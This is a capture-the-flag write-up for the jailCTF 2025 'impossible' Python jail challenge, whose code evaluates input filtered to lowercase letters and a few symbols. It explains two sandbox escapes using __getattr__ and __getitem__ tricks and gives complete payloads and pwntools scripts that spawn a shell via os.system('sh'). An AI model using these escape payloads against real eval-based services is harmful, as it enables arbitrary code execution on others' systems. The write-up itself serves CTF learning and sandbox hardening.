jailCTF 2025 impossible
#!/usr/local/bin/python3
eval(''.join(c for c in input('> ') if c in "abcdefghijklmnopqrstuvwxyz:_.[]"))
Requirements:
- No parens: use
obj.__class__.__getitem__ = funcandobj[arg]to call function - No spaces or equal signs: use
[[]for[a]in[[b]]]instead ofa = b - No strings: set
obj.__class__.__getattr__ = __import__andobj.osto importos
Solution 1: import('os').system('sh')
Writeup by @Coppermine on Discord:
[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]
The idea here is to utilize that a.b is essentially a.__class__.__getattr__("b"), so we can pass string arguments without quotes.
Attack script:
from pwn import *
# solution #1
p = process(["python3", "main.py"])
# __import__('os').system('sh')
p.sendline(
b"[[copyright.sh]for[[[copyright.__class__.__getattr__]]]in[[[[copyright.os.system]for[copyright.__class__.__getattr__]in[[__import__]]]]]]"
)
p.interactive()
Solution 2: eval(input(license))
Writeup by @xtea418 on Discord:
[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]
The idea is to call functions with parens using [[]for[a]in[[b]]] primitive. Previously in pyjail cheatsheet we know that we can do [[]for a in[b]], but the spaces are required. The extra [] layer makes it work without spaces.
The rest is simply converting eval(input(license)) to help[quit[license]] where quit[arg] calls input(arg) and help[arg] calls eval(arg).
Attack script:
from pwn import *
# solution #2
p = process(["python3", "main.py"])
# eval(input(license))
p.sendline(
b"[[help[quit[license]]]for[help.__class__.__getitem__]in[[eval]for[quit.__class__.__getitem__]in[[input]]]]"
)
p.sendline(b"__import__('os').system('sh')")
p.interactive()